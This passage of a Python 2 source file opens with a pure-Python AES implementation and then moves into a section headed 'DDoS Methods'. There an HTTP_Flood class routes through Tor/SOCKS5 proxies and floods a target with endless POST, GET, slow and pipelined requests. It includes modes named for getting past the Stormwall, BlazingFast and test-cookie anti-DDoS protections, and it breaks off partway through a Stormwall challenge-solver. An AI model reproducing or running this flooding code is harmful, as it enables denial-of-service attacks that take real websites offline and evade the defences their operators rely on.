0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697 ]
  238. U3 = [ 0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46 ]
  239. U4 = [ 0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d ]
  240.  
  241. def __init__(self, key):
  242.  
  243. if len(key) not in (16, 24, 32):
  244. raise ValueError('Invalid key size')
  245.  
  246. rounds = self.number_of_rounds[len(key)]
  247.  
  248. self._Ke = [[0] * 4 for i in xrange(rounds + 1)]
  249. self._Kd = [[0] * 4 for i in xrange(rounds + 1)]
  250.  
  251. round_key_count = (rounds + 1) * 4
  252. KC = len(key) // 4
  253.  
  254. tk = [ struct.unpack('>i', key[i:i + 4])[0] for i in xrange(0, len(key), 4) ]
  255.  
  256. for i in xrange(0, KC):
  257. self._Ke[i // 4][i % 4] = tk[i]
  258. self._Kd[rounds - (i // 4)][i % 4] = tk[i]
  259.  
  260. rconpointer = 0
  261. t = KC
  262. while t < round_key_count:
  263.  
  264. tt = tk[KC - 1]
  265. tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^
  266. (self.S[(tt >> 8) & 0xFF] << 16) ^
  267. (self.S[ tt & 0xFF] << 8) ^
  268. self.S[(tt >> 24) & 0xFF] ^
  269. (self.rcon[rconpointer] << 24))
  270. rconpointer += 1
  271.  
  272. if KC != 8:
  273. for i in xrange(1, KC):
  274. tk[i] ^= tk[i - 1]
  275.  
  276. else:
  277. for i in xrange(1, KC // 2):
  278. tk[i] ^= tk[i - 1]
  279. tt = tk[KC // 2 - 1]
  280.  
  281. tk[KC // 2] ^= (self.S[ tt & 0xFF] ^
  282. (self.S[(tt >> 8) & 0xFF] << 8) ^
  283. (self.S[(tt >> 16) & 0xFF] << 16) ^
  284. (self.S[(tt >> 24) & 0xFF] << 24))
  285.  
  286. for i in xrange(KC // 2 + 1, KC):
  287. tk[i] ^= tk[i - 1]
  288.  
  289. j = 0
  290. while j < KC and t < round_key_count:
  291. self._Ke[t // 4][t % 4] = tk[j]
  292. self._Kd[rounds - (t // 4)][t % 4] = tk[j]
  293. j += 1
  294. t += 1
  295.  
  296. for r in xrange(1, rounds):
  297. for j in xrange(0, 4):
  298. tt = self._Kd[r][j]
  299. self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^
  300. self.U2[(tt >> 16) & 0xFF] ^
  301. self.U3[(tt >> 8) & 0xFF] ^
  302. self.U4[ tt & 0xFF])
  303.  
  304. def encrypt(self, plaintext):
  305.  
  306. if len(plaintext) != 16:
  307. raise ValueError('wrong block length')
  308.  
  309. rounds = len(self._Ke) - 1
  310. (s1, s2, s3) = [1, 2, 3]
  311. a = [0, 0, 0, 0]
  312.  
  313. t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)]
  314.  
  315. for r in xrange(1, rounds):
  316. for i in xrange(0, 4):
  317. a[i] = (self.T1[(t[ i ] >> 24) & 0xFF] ^
  318. self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^
  319. self.T3[(t[(i + s2) % 4] >> 8) & 0xFF] ^
  320. self.T4[ t[(i + s3) % 4] & 0xFF] ^
  321. self._Ke[r][i])
  322. t = copy.copy(a)
  323.  
  324. result = [ ]
  325. for i in xrange(0, 4):
  326. tt = self._Ke[rounds][i]
  327. result.append((self.S[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
  328. result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
  329. result.append((self.S[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF)
  330. result.append((self.S[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF)
  331.  
  332. return result
  333.  
  334. def decrypt(self, ciphertext):
  335.  
  336. if len(ciphertext) != 16:
  337. raise ValueError('wrong block length')
  338.  
  339. rounds = len(self._Kd) - 1
  340. (s1, s2, s3) = [3, 2, 1]
  341. a = [0, 0, 0, 0]
  342.  
  343. t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)]
  344.  
  345. for r in xrange(1, rounds):
  346. for i in xrange(0, 4):
  347. a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^
  348. self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^
  349. self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^
  350. self.T8[ t[(i + s3) % 4] & 0xFF] ^
  351. self._Kd[r][i])
  352. t = copy.copy(a)
  353.  
  354. result = [ ]
  355. for i in xrange(0, 4):
  356. tt = self._Kd[rounds][i]
  357. result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
  358. result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
  359. result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF)
  360. result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF)
  361.  
  362. return result
  363.  
  364. class AESBlockModeOfOperation(object):
  365. def __init__(self, key):
  366. self._aes = AES(key)
  367.  
  368. def decrypt(self, ciphertext):
  369. raise Exception('not implemented')
  370.  
  371. def encrypt(self, plaintext):
  372. raise Exception('not implemented')
  373.  
  374. class AESStreamModeOfOperation(AESBlockModeOfOperation):
  375. '''Super-class for AES modes of operation that are stream-ciphers.'''
  376.  
  377. class AESSegmentModeOfOperation(AESStreamModeOfOperation):
  378. segment_bytes = 16
  379.  
  380. class AESModeOfOperationCBC(AESBlockModeOfOperation):
  381.  
  382. name = "Cipher-Block Chaining (CBC)"
  383.  
  384. def __init__(self, key, iv = None):
  385. if iv is None:
  386. self._last_cipherblock = [ 0 ] * 16
  387. elif len(iv) != 16:
  388. raise ValueError('initialization vector must be 16 bytes')
  389. else:
  390. self._last_cipherblock = _string_to_bytes(iv)
  391.  
  392. AESBlockModeOfOperation.__init__(self, key)
  393.  
  394. def encrypt(self, plaintext):
  395. if len(plaintext) != 16:
  396. raise ValueError('plaintext block must be 16 bytes')
  397.  
  398. plaintext = _string_to_bytes(plaintext)
  399. precipherblock = [ (p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock) ]
  400. self._last_cipherblock = self._aes.encrypt(precipherblock)
  401.  
  402. return _bytes_to_string(self._last_cipherblock)
  403.  
  404. def decrypt(self, ciphertext):
  405. if len(ciphertext) != 16:
  406. raise ValueError('ciphertext block must be 16 bytes')
  407.  
  408. cipherblock = _string_to_bytes(ciphertext)
  409. plaintext = [ (p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock) ]
  410. self._last_cipherblock = cipherblock
  411.  
  412. return _bytes_to_string(plaintext)
  413.  
  414. AESModesOfOperation = dict(
  415. cbc = AESModeOfOperationCBC,
  416. )
  417.  
  418. PADDING_NONE = 'none'
  419. PADDING_DEFAULT = 'default'
  420.  
  421. def _block_can_consume(self, size):
  422. if size >= 16: return 16
  423. return 0
  424.  
  425. def _block_final_encrypt(self, data, padding = PADDING_DEFAULT):
  426. if padding == PADDING_DEFAULT:
  427. data = append_PKCS7_padding(data)
  428.  
  429. elif padding == PADDING_NONE:
  430. if len(data) != 16:
  431. raise Exception('invalid data length for final block')
  432. else:
  433. raise Exception('invalid padding option')
  434.  
  435. if len(data) == 32:
  436. return self.encrypt(data[:16]) + self.encrypt(data[16:])
  437.  
  438. return self.encrypt(data)
  439.  
  440.  
  441. def _block_final_decrypt(self, data, padding = PADDING_DEFAULT):
  442. if padding == PADDING_DEFAULT:
  443. return strip_PKCS7_padding(self.decrypt(data))
  444.  
  445. if padding == PADDING_NONE:
  446. if len(data) != 16:
  447. raise Exception('invalid data length for final block')
  448. return self.decrypt(data)
  449.  
  450. raise Exception('invalid padding option')
  451.  
  452. AESBlockModeOfOperation._can_consume = _block_can_consume
  453. AESBlockModeOfOperation._final_encrypt = _block_final_encrypt
  454. AESBlockModeOfOperation._final_decrypt = _block_final_decrypt
  455.  
  456. def _segment_can_consume(self, size):
  457. return self.segment_bytes * int(size // self.segment_bytes)
  458.  
  459. def _segment_final_encrypt(self, data, padding = PADDING_DEFAULT):
  460. if padding != PADDING_DEFAULT:
  461. raise Exception('invalid padding option')
  462.  
  463. faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes)))
  464. padded = data + to_bufferable(faux_padding)
  465. return self.encrypt(padded)[:len(data)]
  466.  
  467. def _segment_final_decrypt(self, data, padding = PADDING_DEFAULT):
  468. if padding != PADDING_DEFAULT:
  469. raise Exception('invalid padding option')
  470.  
  471. faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes)))
  472. padded = data + to_bufferable(faux_padding)
  473. return self.decrypt(padded)[:len(data)]
  474.  
  475. AESSegmentModeOfOperation._can_consume = _segment_can_consume
  476. AESSegmentModeOfOperation._final_encrypt = _segment_final_encrypt
  477. AESSegmentModeOfOperation._final_decrypt = _segment_final_decrypt
  478.  
  479. def _stream_can_consume(self, size):
  480. return size
  481.  
  482. def _stream_final_encrypt(self, data, padding = PADDING_DEFAULT):
  483. if padding not in [PADDING_NONE, PADDING_DEFAULT]:
  484. raise Exception('invalid padding option')
  485.  
  486. return self.encrypt(data)
  487.  
  488. def _stream_final_decrypt(self, data, padding = PADDING_DEFAULT):
  489. if padding not in [PADDING_NONE, PADDING_DEFAULT]:
  490. raise Exception('invalid padding option')
  491.  
  492. return self.decrypt(data)
  493.  
  494. AESStreamModeOfOperation._can_consume = _stream_can_consume
  495. AESStreamModeOfOperation._final_encrypt = _stream_final_encrypt
  496. AESStreamModeOfOperation._final_decrypt = _stream_final_decrypt
  497.  
  498. class BlockFeeder(object):
  499.  
  500. def __init__(self, mode, feed, final, padding = PADDING_DEFAULT):
  501. self._mode = mode
  502. self._feed = feed
  503. self._final = final
  504. self._buffer = to_bufferable("")
  505. self._padding = padding
  506.  
  507. def feed(self, data = None):
  508.  
  509. if self._buffer is None:
  510. raise ValueError('already finished feeder')
  511.  
  512. if data is None:
  513. result = self._final(self._buffer, self._padding)
  514. self._buffer = None
  515. return result
  516.  
  517. self._buffer += to_bufferable(data)
  518.  
  519. result = to_bufferable('')
  520. while len(self._buffer) > 16:
  521. can_consume = self._mode._can_consume(len(self._buffer) - 16)
  522. if can_consume == 0: break
  523. result += self._feed(self._buffer[:can_consume])
  524. self._buffer = self._buffer[can_consume:]
  525.  
  526. return result
  527.  
  528.  
  529. class Encrypter(BlockFeeder):
  530. 'Accepts bytes of plaintext and returns encrypted ciphertext.'
  531.  
  532. def __init__(self, mode, padding = PADDING_DEFAULT):
  533. BlockFeeder.__init__(self, mode, mode.encrypt, mode._final_encrypt, padding)
  534.  
  535.  
  536. class Decrypter(BlockFeeder):
  537. 'Accepts bytes of ciphertext and returns decrypted plaintext.'
  538.  
  539. def __init__(self, mode, padding = PADDING_DEFAULT):
  540. BlockFeeder.__init__(self, mode, mode.decrypt, mode._final_decrypt, padding)
  541.  
  542. # 8kb blocks
  543. BLOCK_SIZE = (1 << 13)
  544.  
  545. def _feed_stream(feeder, in_stream, out_stream, block_size = BLOCK_SIZE):
  546. 'Uses feeder to read and convert from in_stream and write to out_stream.'
  547.  
  548. while True:
  549. chunk = in_stream.read(block_size)
  550. if not chunk:
  551. break
  552. converted = feeder.feed(chunk)
  553. out_stream.write(converted)
  554. converted = feeder.feed()
  555. out_stream.write(converted)
  556.  
  557.  
  558. def encrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT):
  559. 'Encrypts a stream of bytes from in_stream to out_stream using mode.'
  560.  
  561. encrypter = Encrypter(mode, padding = padding)
  562. _feed_stream(encrypter, in_stream, out_stream, block_size)
  563.  
  564.  
  565. def decrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT):
  566. 'Decrypts a stream of bytes from in_stream to out_stream using mode.'
  567.  
  568. decrypter = Decrypter(mode, padding = padding)
  569. _feed_stream(decrypter, in_stream, out_stream, block_size)
  570.  
  571. def to_bufferable(binary):
  572. return binary
  573.  
  574. def _get_byte(c):
  575. return ord(c)
  576.  
  577. try:
  578. xrange
  579. except:
  580. def to_bufferable(binary):
  581. if isinstance(binary, bytes):
  582. return binary
  583. return bytes(ord(b) for b in binary)
  584.  
  585. def _get_byte(c):
  586. return c
  587.  
  588. def append_PKCS7_padding(data):
  589. pad = 16 - (len(data) % 16)
  590. return data + to_bufferable(chr(pad) * pad)
  591.  
  592. def strip_PKCS7_padding(data):
  593. if len(data) % 16 != 0:
  594. raise ValueError("invalid length")
  595.  
  596. pad = _get_byte(data[-1])
  597.  
  598. if pad > 16:
  599. raise ValueError("invalid padding byte")
  600.  
  601. return data[:-pad]
  602.  
  603. def decryptAES(key, iv, data):
  604. return AESModeOfOperationCBC(key.decode('hex'), iv=iv.decode('hex')).decrypt(data.decode('hex')[:16]).encode('hex')
  605.  
  606.  
  607. ##############################################################################################################################
  608. ##############################################################################################################################
  609. ##############################################################################################################################
  610.  
  611.  
  612.  
  613.  
  614.  
  615.  
  616.  
  617.  
  618.  
  619.  
  620.  
  621.  
  622.  
  623.  
  624.  
  625.  
  626.  
  627.  
  628.  
  629.  
  630.  
  631.  
  632.  
  633.  
  634.  
  635.  
  636.  
  637.  
  638.  
  639.  
  640.  
  641.  
  642.  
  643.  
  644.  
  645.  
  646.  
  647.  
  648.  
  649.  
  650.  
  651.  
  652.  
  653.  
  654.  
  655.  
  656.  
  657.  
  658. #################################
  659. # #
  660. # DDoS Methods #
  661. # #
  662. #################################
  663.  
  664. class HTTP_Flood():
  665. def __init__(self, proxyport, tor, target, flood_type, url, dataLenght=512):
  666. self.sock = None
  667. self.proxyport = proxyport
  668. self.target = target
  669. self.flood_type = flood_type
  670. self.dataLenght = dataLenght
  671. self.timeout = 5
  672. self.path = '/'
  673. self.host = target[0]
  674. self.ssl = False
  675. self.url = url
  676. self.tor = tor
  677. self.parseURL()
  678. self.run()
  679.  
  680. def start(self):
  681. if self.flood_type == 'POST':
  682. self.http_post()
  683. elif self.flood_type == 'GET':
  684. self.http_get()
  685. elif self.flood_type == 'SLOW':
  686. self.http_slow()
  687. elif self.flood_type == 'FASTGET':
  688. self.http_fastget()
  689. elif self.flood_type == 'PIPEGET':
  690. self.http_pipeget()
  691. elif self.flood_type == 'MEGAPIPE':
  692. self.http_megapipe()
  693. elif self.flood_type == 'PIPEOLD':
  694. self.http_pipeold()
  695. elif self.flood_type == 'STORMWALL':
  696. self.http_stormwall()
  697. elif self.flood_type == 'BLAZINGFAST':
  698. self.http_blazingfast()
  699. elif self.flood_type == 'TESTCOOKIE':
  700. self.http_testcookie()
  701. elif self.flood_type == 'FASTBLAZINGFAST':
  702. self.http_blazingfast(min_sleep=1, max_sleep=3)
  703. elif self.flood_type == 'VISIT':
  704. self.http_visit()
  705. elif self.flood_type == 'SLOWVISIT':
  706. self.http_visit(min_sleep=15, max_sleep=25)
  707. elif self.flood_type == 'ULTRASLOWVISIT':
  708. self.http_visit(min_sleep=55, max_sleep=60)
  709. elif self.flood_type == 'HARDVISIT':
  710. self.http_visit(min_sleep=0.05, max_sleep=0.1)
  711. else:
  712. print 'Unknown flood:', self.flood_type
  713.  
  714. def parseURL(self):
  715. if 'https' in self.url:
  716. self.ssl = True
  717. try:
  718. self.host = self.url.split("//")[-1].split("/")[0]
  719. self.path = self.url.split("//")[-1].split("/",1)[1]
  720. if not self.path:
  721. self.path = '/'
  722. except:
  723. self.path = '/'
  724. self.request = HTTPRequest(self.host, self.path)
  725.  
  726. def stop(self):
  727. try:
  728. self.sock.close()
  729. except:
  730. pass
  731. try:
  732. del self.dataLenght
  733. del self.sock
  734. del self.ssl
  735. del self.path
  736. del self.proxyport
  737. del self.tor
  738. del self.url
  739. del self.flood_type
  740. del self.target
  741. except:
  742. pass
  743.  
  744. def connect(self):
  745. try:
  746. self.sock = socks.socksocket()
  747. self.sock.setproxy(socks.PROXY_TYPE_SOCKS5,"127.0.0.1", self.proxyport, self.tor)
  748. self.sock.settimeout(20)
  749. self.sock.connect(self.target)
  750. if self.ssl:
  751. self.sock = ssl.wrap_socket(self.sock, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23)
  752. #connects.value += 1
  753. return True
  754. except:
  755. if DEBUG: raise
  756.  
  757. def recieve(self, t=15):
  758. data = ''
  759. if self.timeout != t:
  760. self.sock.settimeout(t)
  761. self.timeout = t
  762. for i in range(4):
  763. try:
  764. data += self.sock.recv(65535)
  765. if data.count("\r\n\r\n") > 1:
  766. break
  767. except:
  768. break
  769. return data
  770.  
  771. def run(self):
  772. while True:
  773. if not self.connect():
  774. pass
  775. else:
  776. try:
  777. self.start()
  778. except:
  779. pass
  780. time.sleep(1)
  781. self.stop()
  782.  
  783. def http_post(self):
  784. self.request = HTTPRequest(self.host, self.path, method='POST')
  785. post_data = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(self.dataLenght))
  786. post_data = ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) + '=' + post_data
  787. data = self.request.compose() + post_data
  788. while True:
  789. self.sock.send(data)
  790. time.sleep(0.2)
  791.  
  792. def http_get(self):
  793. while True:
  794. self.sock.send(self.request.compose())
  795. print [self.recieve()]
  796. print
  797. print
  798. time.sleep(30)
  799.  
  800. def http_visit(self, min_sleep=3, max_sleep=8):
  801.  
  802. self.sock.send(self.request.compose())
  803. time.sleep(random.randint(min_sleep, max_sleep))
  804.  
  805. response = self.recieve() # exploring URLs from main page
  806. response_urls = get_urls(response, domain=self.host.split('.')[0])
  807.  
  808. fetched_urls = []
  809. for url in response_urls:
  810. self.sock.send(HTTPRequest(self.host, path=url.split('/',3)[3]).compose())
  811. time.sleep(random.randint(min_sleep, max_sleep))
  812. # exploring URLs from sub-pages
  813. for url in get_urls(self.recieve(), domain=self.host.split('.')[0]):
  814. if url not in fetched_urls:
  815. fetched_urls.append(url)
  816.  
  817. for url in fetched_urls:
  818. self.sock.send(HTTPRequest(self.host, path=url.split('/',3)[3]).compose())
  819. time.sleep(random.randint(min_sleep, max_sleep))
  820.  
  821. def http_stormwall(self):
  822.  
  823. def execute_challenge(cookie_exercise, cookie_key, cookie_name):
  824. abc = "0123456789qwertyuiopasdfghjklzxcvbnm:?!"
  825. _rpct = []
  826. _rRpct = {}
  827.  
  828. def gTb(abc):
  829. global _rpct, _rRpct
  830. for c in range(len(abc)):
  831. _rpct.append(abc[c])
  832. _rRpct[abc[c]] = c
  833.  
  834. def csr(t, c):
  835. r = len(_rpct) - 1
